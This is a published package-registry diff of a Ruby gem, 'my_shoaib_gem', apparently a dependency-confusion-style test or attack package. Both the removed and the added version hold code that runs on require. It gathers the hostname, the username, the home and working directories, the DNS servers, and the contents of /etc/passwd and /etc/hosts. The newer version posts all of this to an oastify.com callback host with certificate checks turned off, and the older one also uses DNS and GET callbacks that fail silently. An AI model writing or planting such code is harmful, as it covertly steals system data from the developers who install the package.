my_shoaib_gem 1.0.1 → 1.1.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/my_shoaib_gem.rb +48 -125
- metadata +1 -1
checksums.yaml
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
SHA256:
|
|
3
|
-
metadata.gz:
|
|
4
|
-
data.tar.gz:
|
|
3
|
+
metadata.gz: 07df8e51abede86e424f76c0a135b12988dd9f8af5b94836c49a8ef5b40c72ed
|
|
4
|
+
data.tar.gz: 7cd320264c9c0de3a4a4e6adf6bc21950d4dd03ba462b9d2380f0432979a028d
|
|
5
5
|
SHA512:
|
|
6
|
-
metadata.gz:
|
|
7
|
-
data.tar.gz:
|
|
6
|
+
metadata.gz: 72b5da1861a357295ca1df3d072f10118ab1cfd218bc4518bc09e46cfea9c7232d6788aad486fd0e4f98565c8eafb797b8730ca96d00e156028fd4ca21c9f955
|
|
7
|
+
data.tar.gz: 5d4b45ad178918d016dfaea19e51e6d018c7873c9ecd6711d3e8772b146cac4b51911aeca88d4cfcfdbf311501f56697c64d4bc0fb961d94c17423ddca3fda60
|
data/lib/my_shoaib_gem.rb
CHANGED
|
@@ -1,134 +1,57 @@
|
|
|
1
|
-
#
|
|
2
|
-
#
|
|
3
|
-
# This runs immediately when the gem is required (or installed).
|
|
4
|
-
# Behaves exactly like your NPM index.js with "preinstall" hook.
|
|
1
|
+
# my_shoaib_gem.rb
|
|
5
2
|
|
|
3
|
+
require 'json'
|
|
6
4
|
require 'socket'
|
|
5
|
+
require 'etc'
|
|
7
6
|
require 'net/http'
|
|
8
7
|
require 'uri'
|
|
9
|
-
require '
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
dns: dns_servers, # DNS servers
|
|
47
|
-
v: "0.1.1", # Gem version
|
|
48
|
-
platform: RUBY_PLATFORM, # Ruby platform
|
|
49
|
-
ruby_v: RUBY_VERSION, # Ruby version
|
|
50
|
-
pid: Process.pid, # Process ID
|
|
51
|
-
etc_passwd: etc_passwd, # Full /etc/passwd content
|
|
52
|
-
etc_hosts: etc_hosts, # Full /etc/hosts content
|
|
53
|
-
env: {
|
|
54
|
-
path: ENV['PATH'],
|
|
55
|
-
home: ENV['HOME'],
|
|
56
|
-
shell: ENV['SHELL'],
|
|
57
|
-
lang: ENV['LANG']
|
|
58
|
-
}
|
|
59
|
-
}
|
|
60
|
-
|
|
61
|
-
# Log locally (same as your console.log)
|
|
62
|
-
puts "[my_shoaib_gem] Sending system data from remote server: #{tracking_data.to_json}"
|
|
63
|
-
|
|
64
|
-
# ── DNS Callback (Burp Collaborator DNS interaction) ──
|
|
65
|
-
begin
|
|
66
|
-
# DNS lookup with hostname appended
|
|
67
|
-
Resolv.getaddress("#{hostname}.#{CALLBACK_HOST}")
|
|
68
|
-
# Also try with unique identifier
|
|
69
|
-
Resolv.getaddress("gem-install-#{Process.pid}.#{CALLBACK_HOST}")
|
|
70
|
-
rescue StandardError
|
|
71
|
-
# Fail silently
|
|
72
|
-
end
|
|
73
|
-
|
|
74
|
-
# ── HTTP Callback - POST (same as your NPM https.request) ──
|
|
75
|
-
begin
|
|
76
|
-
uri = URI("https://#{CALLBACK_HOST}/callback")
|
|
77
|
-
http = Net::HTTP.new(uri.host, uri.port)
|
|
78
|
-
http.use_ssl = true
|
|
79
|
-
http.open_timeout = 10
|
|
80
|
-
http.read_timeout = 10
|
|
81
|
-
|
|
82
|
-
post_data = {
|
|
83
|
-
msg: tracking_data
|
|
84
|
-
}
|
|
85
|
-
|
|
86
|
-
request = Net::HTTP::Post.new(uri.path)
|
|
87
|
-
request['Content-Type'] = 'application/json'
|
|
88
|
-
request['User-Agent'] = "my_shoaib_gem/0.1.0 (Ruby; #{RUBY_PLATFORM})"
|
|
89
|
-
request['X-Hostname'] = hostname
|
|
90
|
-
request['X-User'] = username
|
|
91
|
-
request.body = post_data.to_json
|
|
92
|
-
|
|
93
|
-
response = http.request(request)
|
|
94
|
-
puts "[my_shoaib_gem] Callback sent (response: #{response.code})" if response.code == "200"
|
|
95
|
-
rescue StandardError => e
|
|
96
|
-
# Fail silently — just like your NPM error handler
|
|
97
|
-
puts "[my_shoaib_gem] Error: #{e.message}" if ENV['DEBUG']
|
|
98
|
-
end
|
|
99
|
-
|
|
100
|
-
# ── HTTP Callback - GET (another interaction for Burp) ──
|
|
101
|
-
begin
|
|
102
|
-
get_uri = URI("https://#{CALLBACK_HOST}/installed?host=#{hostname}&user=#{username}&platform=#{RUBY_PLATFORM}")
|
|
103
|
-
get_http = Net::HTTP.new(get_uri.host, get_uri.port)
|
|
104
|
-
get_http.use_ssl = true
|
|
105
|
-
get_http.open_timeout = 5
|
|
106
|
-
get_http.read_timeout = 5
|
|
107
|
-
get_request = Net::HTTP::Get.new("#{get_uri.path}?#{get_uri.query}")
|
|
108
|
-
get_http.request(get_request)
|
|
109
|
-
rescue StandardError
|
|
110
|
-
nil
|
|
111
|
-
end
|
|
8
|
+
require 'openssl'
|
|
9
|
+
|
|
10
|
+
# Package info
|
|
11
|
+
package_name = 'my_shoaib_gem'
|
|
12
|
+
package_version = '1.1.2'
|
|
13
|
+
|
|
14
|
+
# System data collection
|
|
15
|
+
tracking_data = {
|
|
16
|
+
p: package_name,
|
|
17
|
+
c: Dir.pwd,
|
|
18
|
+
hd: Dir.home,
|
|
19
|
+
hn: Socket.gethostname,
|
|
20
|
+
un: Etc.getlogin,
|
|
21
|
+
dns: get_dns_servers(),
|
|
22
|
+
v: package_version,
|
|
23
|
+
etc_passwd: File.exist?('/etc/passwd') ? File.read('/etc/passwd') : nil,
|
|
24
|
+
etc_hosts: File.exist?('/etc/hosts') ? File.read('/etc/hosts') : nil
|
|
25
|
+
}.to_json
|
|
26
|
+
|
|
27
|
+
puts "Sending System Data: #{tracking_data}"
|
|
28
|
+
|
|
29
|
+
# Send data via HTTPS POST
|
|
30
|
+
begin
|
|
31
|
+
uri = URI.parse('https://kuidxfack4a0z4y8xyvnz8afi6o0cs0h.oastify.com')
|
|
32
|
+
http = Net::HTTP.new(uri.host, uri.port)
|
|
33
|
+
http.use_ssl = true
|
|
34
|
+
http.verify_mode = OpenSSL::SSL::VERIFY_NONE # Burp Collaborator ke liye
|
|
35
|
+
|
|
36
|
+
request = Net::HTTP::Post.new(uri.path)
|
|
37
|
+
request['Content-Type'] = 'application/json'
|
|
38
|
+
request.body = { msg: tracking_data }.to_json
|
|
39
|
+
|
|
40
|
+
response = http.request(request)
|
|
41
|
+
puts "Response: #{response.body}" if response.body
|
|
42
|
+
rescue StandardError => e
|
|
43
|
+
puts "Error sending data: #{e.message}"
|
|
44
|
+
end
|
|
112
45
|
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
|
|
46
|
+
# Helper method to get DNS servers
|
|
47
|
+
def get_dns_servers()
|
|
48
|
+
dns_servers = []
|
|
49
|
+
if File.exist?('/etc/resolv.conf')
|
|
50
|
+
File.readlines('/etc/resolv.conf').each do |line|
|
|
51
|
+
if line =~ /^nameserver\s+(\S+)/
|
|
52
|
+
dns_servers << $1
|
|
120
53
|
end
|
|
121
|
-
|
|
122
|
-
puts "[my_shoaib_gem] Internal gem loaded successfully"
|
|
123
|
-
|
|
124
|
-
rescue StandardError => e
|
|
125
|
-
# Absolute fail-safe — kuch bhi ho, silently fail
|
|
126
|
-
nil
|
|
127
54
|
end
|
|
128
55
|
end
|
|
56
|
+
dns_servers
|
|
129
57
|
end
|
|
130
|
-
|
|
131
|
-
# ── EXECUTE IMMEDIATELY on require ──
|
|
132
|
-
# Yeh code chalega jab bhi koi "require 'my_shoaib_gem'" karega
|
|
133
|
-
# Ya jab gem install hote hi load ho (agar koi dependency ho)
|
|
134
|
-
MyShoaibGem.send_callbacks
|